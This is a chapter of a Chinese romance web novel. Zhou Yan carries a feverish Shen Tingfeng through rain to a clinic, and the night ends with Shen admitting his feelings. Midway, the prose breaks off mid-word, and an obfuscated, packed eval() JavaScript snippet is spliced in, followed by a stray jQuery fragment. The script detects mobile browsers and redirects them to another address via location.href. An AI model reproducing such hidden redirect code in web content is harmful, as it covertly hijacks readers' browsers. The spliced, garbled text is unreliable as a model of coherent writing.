8. 生病

一脚踢开门,还没反应过来,手里又被塞了把伞,然后是距离他耳边不过几寸距离的一道声音,“握紧。”


他没有任何反抗的,完全按照指令所做,手指被粗糙的伞柄硌得青白。


随后,像打鼓一样打在伞面上密密麻麻的雨滴声。


空气的骤降让沈听风清醒了一些,迟钝的脑袋终于有些反应过来。


周洐正在背着他,说要带他去医院。


现在的姿势是,大腿夹着他的腰,腿窝下面是坚硬的肌肉。


沈听风又有些迷糊了,这比看还来得更直观。


风很大,雨也很大,可是背着他的人,却好像磐石一样坚不可摧,让他在这风雨飘摇之中,无比安心。


源源不断的热意从身前紧贴的地方传过来,胸腔中心脏的跳动震耳欲聋,数层布料,沈听风不知道他能不能感觉到,可自己已经头晕目眩,控制不住的更加用力,想要感受到更真实的存在。


周洐侧头,用余光看他的面色,“冷吗?”


这个声音像是破开迷障的风,将他浑身的躁动安抚下来。


沈听风低低的嗯了一声。


“把伞往后背罩,”周洐说着,忽然笑了一声,“像乌龟一样。”


“……”


沈听风把下巴搁在他的肩膀上,眼睛忽然有些酸涩。


他不是感觉不出来。他全身上下没有感觉到一丝寒冷,周洐还要让他把伞罩好自己。


那他呢,他不冷吗?这么大的雨他不怕感冒吗?不怕麻烦吗?他就这么喜欢照顾别人吗?


“你对所有人都这样吗?”


“不是。”周洐说,以前也没遇到过这种情况。


但沈听风听了,不由自主从心底生出高兴,对别的事他向来游刃有余,可对于这些唯独不知道怎么处理,一颗心酸酸胀胀的,也不敢细问。


过了一会,他忽然想到了什么,“要这么走去医院吗?”


周洐:“这一片有个诊所。”


“……谢谢。”


“不客气。”


“我能……”沈听风鼓起勇气,“以身相许吗?”


周洐语气冷静:“不能。”


沈听风控制不住的失落,不知道是不是因为生病,感觉自己有好多想要倾诉的欲望:“可是……”


黑暗里,他看不大清路,只觉得伞面的雨点声忽然就没了,接着是周洐的声音。


“到了。”


他松开手,沈听风的身体向下滑,接触到地面,又软软的被人搀扶着。


卷帘铁门被敲得阵阵响,一时间全世界都是这个声音,沈听风头昏脑胀,想说这会不会有些扰民,里面传来一道喊声。


“来了来了!”


一个中年大叔开了门,往两人身上扫视,“咋回事?”


周洐馋着他进去,找到靠墙的铁椅坐下,“好像是发烧。”


大叔打着哈欠拿出体温计,“量量体温。”


沈听风顺从的抬起胳膊,周洐把体温计递到他手里让他自己夹的时候,还觉得有些委屈,玻璃管身冰凉,夹在腋下的异物感很明显,他有些难以忍受。


周洐按住他的胳膊,警告的说:“别乱动。”


好吧。沈听风还是挺愿意听他话的。


不知道过了多久,体温计取出来,大叔看了看,啧声说:“都快四十度了,得输液。”


周洐说:“麻烦了。”


沈听风懵然不知,靠在椅子上,不断陷入昏睡中,连针扎的痛感都忽略了,浑身发冷终于忍受不住的时候,才稍微清醒一些。


室内只开了一排灯,其它地方都是昏暗的,周洐坐在他旁边,靠着墙在睡,看着睡得很难受的样子。


沈听风看了许久,知道听到饮水机一声轻响,转为保温状态,于是推着输液架,小心翼翼的用一次性纸杯接了杯热水。


纸杯放在另一边的扶手上,沈听风把之前盖在自己身上的衣服盖在周洐身上,却一下惊醒了他。


周洐睁眼时眼中还残留有困意,看着他不好好坐着,以为又是不舒服了,低声说:“坐好。”


他言语中带着严厉,不知道之前是怎么折腾他的,不这样说就不听话。


沈听风抿嘴笑了笑,“嗯。”又坐回了旁边。


他把纸杯贴近周洐的手心,说:“这样舒服一点。”


手心里的热意确实挺舒服,周洐也就没有抽回手,看了眼输液袋残余的容量,时间还早,又阖上眼。


沈听风等了一会,见他睡熟了,轻轻的把手伸过去,指尖触碰在杯壁,炙热的温度通过指尖逐渐蔓延,不知不觉也睡着了。


他醒来时,还没有觉得有什么地方不对,手中仍是带着暖意的,不过却有亮光透过窗户照了进来。


对面的电子时钟现实现在才五点多,室内没有其他人。


旁边响起一道吞咽声,沈听风侧头看去,周洐正拿着一杯水喝下,手心似乎也有什么东西弹动了一下。


他低头看到自己正握着周洐的手。


日常就是打字和握笔的削瘦自然不能和劳力磨砺出来的宽厚相比,却紧紧缠着对方,似乎一动,也颇要张开一些弧度才能松开。


周洐见他醒了,便将手抽出来,站起身活动了一下筋骨。


沈听风见他表情无异,斟酌着问:“昨天晚上……”


他注意到周洐审视的视线,下意识不再开口,任由周洐审视的目光投注在他身上。


周洐问:“你喜欢我?”


如果说那句话是无心,可睡着了拉着他的手怎么都不松开,就不得不多想了。


如果不是,他自然会当成是一个玩笑。


沈听风折腾一夜的眉眼上带着倦意,嘴唇颤动了一下,低低的嗯了一声。


他目光紧紧看着周洐的表情,期待他的反应。


承认的这么果断,周洐一时间也有些不知道说什么。大叔正好从里面出来,看了看输液进度,给他拔了针。


周洐在大叔出来的时候,就出了门,看不到他的身影,沈听风以为对方走了,心里有些焦急,拔了针便迫不及待的出来。


周洐站在门外,听到声响往那一瞥:“你付钱了?”


酝酿好的措辞一下就卡住了,沈听风摸了一下身上的口袋,“钱包好像在你家。”


周洐拿出钱


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15228345|165904||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


包付了账,两人相继走出去。


晚上天黑看不清,诊所在大马路的旁边,四周一片荒凉,施工围墙围起大片的荒地,零零散散开了几家小店。


走在人行道上,沈听风身体落后了几步,挺纠结。


怀里抱着昨天背的毯子,潮乎乎的。


真是连商业谈判都没这么纠结措辞过。


正冥思苦想着,周洐在前面说话了,声音是得天独厚的低沉,很好听,带着一丝沙哑。


“别再来了。”


沈听风呆了一瞬。


这明显说的不是来他的家,而是这个工地。


工作的时候,周洐不少听别人聊天,都在疑惑为什么沈总一个大老板天天在这里,现在他有些猜测到了。


沈听风冷静的说:“不是因为你,我之前说过我的受伤不是意外,那是因为我的……弟弟导致的。”


想着连话都不会说的肉团,他面不改色:“我受伤了,所以他把我排挤出了总部,我才会来这里。”


看着沉默的周洐,沈听风目光闪烁了一瞬,压下莫名的心虚,低声道:“你放心,我不会对你做什么的。”


周洐看着他虚弱的步伐,挑了挑眉没说话。


回到院子后,沈听风联系了司机,得知对方已经到了酒店,随时可以过来,就等待着。


他看着周洐拎出半袋子的狗粮是,鼓起的臂膀肌肉,心想,这怎么可以随意放弃。


司机来得很快,沈听风出了门,又很快折返回去,手里提着一个大纸盒。


纸盒里有阵阵香味飘出来,一放到桌子上,周洐就皱眉想拒绝。


沈听风这次不给他说话的机会,“昨天晚上的事谢谢你,我这只是一点点报偿。我做我该做的,你要是不想接受,扔了也行。”


说完转身离去,脚步不似寻常稳重,像是身后有什么追着他一样。


周洐目光在桌子和半开的院门上转了一圈,把纸盒拆开,里面是包装精致的餐盒,明显价值不菲。


吃完了之后上床补觉,快九点的时候,工头打电话通知他上班。


下午的时候雨又下起来,除了室内的施工人员,其他的都只好停工,周洐回到家,又给十几条狗喂了一顿狗粮,开始思考是不是应该给它们找一个真正可以久待的地方。


哪怕负责它们的食物,他也从没想过要收养这些狗。


连他自己都不一定在这里稳定。


天再一次黑下来,又是一个雨夜,走过院子时,他下意识眺望不远处的一栋高楼,整面墙的窗户都黑漆漆一片。


接下来又是按部就班的一切。


水液落下来,泛起一阵热雾。


周洐伸手将温度调到自己适宜的度数,那点雾气很快就消散了。


身体的年纪增长,发育也快了一些,今天早上没时间刮胡子,已经长出短短的青碴,他顺手拿出剃须刀,沿着下颌刮掉。


不知道怎么,似乎刮出了一个伤口,周洐没有在意,低头冲洗,目光停在一个地方。


他看到洗手台的里侧,出现了一个本来没有的东西。


一个雕刻精致、表面泛着银光的领带夹。